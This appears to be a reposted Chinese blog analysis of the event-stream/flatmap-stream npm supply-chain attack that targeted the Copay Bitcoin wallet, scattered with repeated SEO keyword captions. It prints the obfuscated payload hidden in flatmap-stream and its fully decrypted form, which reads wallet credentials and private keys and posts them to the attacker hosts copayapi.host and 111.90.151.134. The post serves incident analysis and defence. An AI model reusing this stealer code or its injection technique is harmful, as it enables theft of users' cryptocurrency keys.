主页 > imtoken官方版下载安卓最新版 > [Issue 1469] 篡改NPM包窃取比特币

[Issue 1469] 篡改NPM包窃取比特币

前言

别被标题吓倒了,这件事应该是上周发生的,当时你圈子里动静很大,大家一起看看到底是怎么回事,最后有一个bootstrap的分享,你可以看看。 今天的晨读文章由美团@江欣投稿分享。

正文从这里开始~~

比特币钱包 Copay 被依赖链攻击。 这个瓜上周在技术圈引起了广泛的讨论。 看了很多大佬的分析,理清了前因后果。 在这里我也将和大家分享一波黑客是如何一步步实现他的惊人计划的。

一、背景介绍

event-stream 是开源社区中用于处理 Node.js 流数据的 npm 包。 它使创建和使用流变得容易。 也正是因为这个原因,它受到了开发者的欢迎。 目前该库的下载量达到上周。 165万。

比特币每十分钟产生多少个比特币_比特币分叉对比特币的影响_比特币可以篡改吗

事件流托管在 npm 上

此次事件的起因是项目作者@dominictarr 受时间和精力所限,将其维护工作交给了另一位开发者@Right9ctrl。 开发者获得event-stream权限后,通过dependency flatmap-stream将恶意代码注入到event-stream中。 也正是这种依赖性引入了窃取比特币的后门。

同时,知名比特币钱包Dash Copay在其应用中引用了对事件流的依赖,从而导致了中毒事件。

梳理一下,黑客的具体步骤如下:

比特币可以篡改吗_比特币分叉对比特币的影响_比特币每十分钟产生多少个比特币

第一步,黑客@right9ctrl 给库的原作者@dominictarr 发了一封邮件,他因为没时间没兴趣不再维护这个库,于是把这个库转让给了这个完全陌生的人.

比特币分叉对比特币的影响_比特币可以篡改吗_比特币每十分钟产生多少个比特币

原作者的解释

第二步比特币可以篡改吗,9月9日,新的维护者开始初步行动。 首先,他发布了event-stream 3.3.6版本的更新,并为其添加了一个全新的模块——flatmap-stream。 那时这个模块中没有恶意功能。

第三步,9月16日,@right9ctrl删除了对flatmap-stream的引用,在event-stram中手动实现了这个方法,然后直接将项目从3.3.6升级到4.0.0。 但是在引用npm包的时候,很少有人直接升级大版本,也就是说codepay很可能一直使用这个中毒的event-stream版本3.3.6。

比特币可以篡改吗_比特币每十分钟产生多少个比特币_比特币分叉对比特币的影响

黑客的攻击步骤

第四步,10月5日,flatmap-stream@0.1.1版本被@hugeglass用户推送到NPM。 在本次发布的更新中,增加了窃取用户信息和比特币钱包密钥的模块。 通俗地说,就像用户的网银账号、密码和U盾一起被盗一样。

2.盗窃和盗窃曝光

那么黑客的代码究竟是如何窃取比特币的呢? 通过分析flatmap-stream的源码,我们可以将其分解为四步:

比特币每十分钟产生多少个比特币_比特币分叉对比特币的影响_比特币可以篡改吗

外部代码判断执行环境。 如果在copay-dash项目中运行,会解密执行16进制加密的内码。

内码判断用户的使用环境(是否使用Cordova),同时获取受害者个人钱包信息。

通过遍历受害者钱包中的所有ID,找到账户余额在100个BTC(市值300万人民币)或1000个BCH(市值125万生命币)以上的账户。

将受害者的账户信息和钱包密钥分别发送到部署在吉隆坡的服务器111.90.151.134和copayapi.host(之前的DNS解析为:145.249.104.239,目前为:51.38.112.212)。

接触

整件事的曝光非常戏剧化。 一个完全不相关的第三方开发者在他的项目中引入了Nodemon监控,但是在控制台出现了警告“DeprecationWarning: crypto.createDecipher is deprecated”。

Crypto是一个常用的加解密库。 最近因为api升级,新版本废弃了它的crypto.createDecipher方法,所以系统报错。

比特币分叉对比特币的影响_比特币可以篡改吗_比特币每十分钟产生多少个比特币

一场事故暴露了整个事件

但是一般情况下,nodejs的监控是不需要加解密的。 因此,为了解决这个意外的警告,热情的开发人员将问题上报给了社区。 在解决问题的过程中,他们一路向上遍历了他项目的依赖树,最后发现这个依赖是由flatmap-stream引入的。 通过解密flatmap-stream的代码,拉开了整个事件的序幕​​。

比特币每十分钟产生多少个比特币_比特币可以篡改吗_比特币分叉对比特币的影响

比特币可以篡改吗_比特币分叉对比特币的影响_比特币每十分钟产生多少个比特币

攻击与发现 3. 代码分析

下面我们一步步分析黑客是如何通过回溯代码实现他的窃取的。 不想看详细解析的可以直接跳到章末总结图:)

首先,将攻击者上传的原始代码(flatmap-stream@0.1.1)[unpkg.com/flatmap-str…]压缩:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

其中,问题代码偷偷放在最后。 我们对代码进行解压和格式化,得到可读的问题代码1:

! function () {
   
try {
       
var r = require,
           t
= process;
       
function e(r) {
           
return Buffer.from(r, "hex").toString()
       
}
       
var n = r(e("2e2f746573742f64617461")), // 在Github上不存在,但是实际在发布的npm包里隐藏的 ‘./test/data.js’文件
           o
= t[e(n[3])][e(n[4])];
       
if (!o) return;
       
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
           a
= u.update(n[0], e(n[8]), e(n[9]));
       a
+= u.final(e(n[9]));
       
var f = new module.constructor;
       f
.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
   
} catch (r) {}
}();

上面的代码部分转换成十六进制,我们可以进行十六进制转换得到转码码1,其中r(e("2e2f746573742f64617461")),翻译过来就是require("./test/data"); 目前 data.js 文件已从原项目中删除。 按照FallingSnow的描述,data.js文件是一个数组如下,对应原代码中的数组n。 对数组进行转码后,可以得到:

[
   
// 数组前两项为加密的黑客窃取代码
   
"75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1",
   
"db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
   
"63727970746f", // crypto
   
"656e76",  // env
   
"6e706d5f7061636b6167655f6465736372697074696f6e",  // npm_package_description
   
"616573323536", // aes256
   
"6372656174654465636970686572", // createDecipher
   
"5f636f6d70696c65", // _compile
   
"686578", // hex
   
"75746638" // utf8
]

比特币每十分钟产生多少个比特币_比特币可以篡改吗_比特币分叉对比特币的影响

将问题代码的数组n替换为data.js,可以得到如下转码代码2:

!(function() {
   
try {
       
//攻击代码被伪装成16进制
       
var n = [
           
"75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1",
           
"db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
       
];
       
var o = process["env"]["npm_package_description"];
       
if (!o) return;
       
var u = require("crypto")["createDecipher"]("aes256", o),
           a
= u.update(n[0], "hex", "utf8");
       a
+= u.final("utf8");
       
var f = new module.constructor();
       
(f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
   
} catch (r) {}
})();

其中数组n很特殊。 前两项n[0]、n[1]的长字符串需要用依赖项目的“npm_package_description”进行解密,只有描述正好是“A Secure Bitcoin Wallet”才能解密成功。 copay项目的描述是这样的“巧合”,所以这是针对copay钱包的针对性攻击。 同时,crypto.createDecipher这个过时的api终于暴露了,因为这里被黑客利用了。 经过两轮解密比特币可以篡改吗,我们得到最终的解密代码,我对其进行了语义和注释如下:

! function() {
   
function startUp() {
       
try {
           
var HTTP = require("http"),
               
Crypto = require("crypto"),
               publicKey
= "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";
           
function postData(hostName, pathName, encryptedData) {
               hostName
= Buffer.from(hostName, "hex").toString(); // 将16进制字符转换成string,"copayapi.host" 和111.90.151.134
               
var request = HTTP.request({
                   hostname
: hostName,
                   port
: 8080,
                   method
: "POST",
                   path
: "/" + pathName,
                   headers
: {
                       
"Content-Length": encryptedData.length,
                       
"Content-Type": "text/html"
                   
}
               
}, function() {});
               request
.on("error", function(e) {}), request.write(encryptedData), request.end()
           
}
           
// 偷取了用户信息并用公钥加密后发送
           
function encryptAndPost(pathName, userInfo) {
               
for (var encryptedData = "", r = 0; r < userInfo.length; r += 200) {
                   
var o = userInfo.substr(r, 200);
                   encryptedData
+= Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+"
               
}
               postData
("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // 攻击者的服务器copayapi.host,111.90.151.134
           
}
           
// 偷取用户信息
           
function stealUserInfo(profile, stealSuccessCB) {
               
if (window.cordova) {
                   
try {
                       
var dataDirectory = cordova.file.dataDirectory; // cordova接口获取程序的数据目录, Persistent and private data storage within the application's sandbox
                       resolveLocalFileSystemURL
(dataDirectory, function(e) {
                           e
.getFile(profile, {
                               create
: !1
                           
}, function(e) {
                               e
.file(function(e) {
                                   
var reader = new FileReader;
                                   reader
.onloadend = function() {
                                       
return stealSuccessCB(JSON.parse(reader.result))
                                   
}, reader.onerror = function(e) {
                                       reader
.abort()
                                   
}, reader.readAsText(e)
                               
})
                           
})
                       
})
                   
} catch (e) {}
               
} else {
                   
try {
                       
var r = localStorage.getItem(profile);
                       
if (r) return stealSuccessCB(JSON.parse(r))
                   
} catch (e) {}
                   
try {
                       chrome
.storage.local.get(profile, function(e) {
                           
if (e) return stealSuccessCB(JSON.parse(e[profile]))
                       
})
                   
} catch (e) {}
               
}
           
}
           
// 执行代码由此开始,针对账户内大于100BTC余额的账户,偷取用户的证书和个人信息。
           
global.CSSMap = {}, stealUserInfo("profile", function(e) {
               
for (var t in e.credentials) {
                   
var n = e.credentials[t];
                   
"livenet" == n.network && stealUserInfo("balanceCache-" + n.walletId, function(profileInfo) {
                       
var that = this;
                       that
.balance = parseFloat(profileInfo.balance.split(" ")[0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c", JSON.stringify(that)))
                   
}.bind(n))
               
}
           
});
           
// 引入credentials并重写,再次尝试偷取用户公钥
           
var Credentials = require("bitcore-wallet-client/lib/credentials.js");
           
Credentials.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
               
var t = this.getKeysFunc(e); // 正常执行Credentials.prototype.getKeys
               
try { // 尝试窃取秘钥
                   
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "\\t" + this.xPubKey))
               
} catch (e) {}
               
return t
           
}
       
} catch (e) {}
   
}
   window
.cordova ? document.addEventListener("deviceready", startUp) : startUp()
}();

由于上面的解密代码比较清楚,这里只简单描述一下。 它大概分两步窃取用户的个人信息和钱包密钥,然后加密发送到自己在马来西亚的服务器上。 实现方法是利用JS的原型链引用重写flatmap-stream中的Credentials.getKeys方法。 这个方法被copay-dash项目组用来获取用户的秘钥。 程序执行该方法后,用户将密钥发送到自己的服务器。

为了让大家更好的梳理攻击过程,我画了一张解密流程图供参考:

比特币分叉对比特币的影响_比特币可以篡改吗_比特币每十分钟产生多少个比特币

比特币每十分钟产生多少个比特币_比特币分叉对比特币的影响_比特币可以篡改吗

黑客攻击第四步,影响与反思

问题暴露后,copay钱包项目组紧急修复并推出v5.2.0版本,但仍有大量未更新的旧钱包版本(v5.0.2~v5.1.0)中毒。 他们还建议用户升级并将比特币转移到新钱包。

比特币可以篡改吗_比特币分叉对比特币的影响_比特币每十分钟产生多少个比特币

已有用户声称电子钱包被盗

作为第三方开发者,我们可以使用“npm ls event-stream flatmap-stream”来查看我们项目中是否安装了相关的依赖包。 下面是一个安装了中毒依赖包的项目。 如果你还安装了event-stream@3.3.6,请将依赖升级到最新版本。

[redacted]
└─┬ npm-run-all@4.1.3
 
└─┬ ps-tree@1.1.0
   
└─┬ event-stream@3.3.6
     
└── flatmap-stream@0.1.2

依赖链攻击目前还没有很好的解决方案。 虽然社区中有建议限制依赖包的权限或者要求npm提交明文,但短期内实现的可能性不大。

我们唯一能做的就是在引用依赖项之前仔细审核引用的包。 同时,锁定经过安全认证的包版本,确保不引入新的有毒依赖。

参考文件

关于这篇文章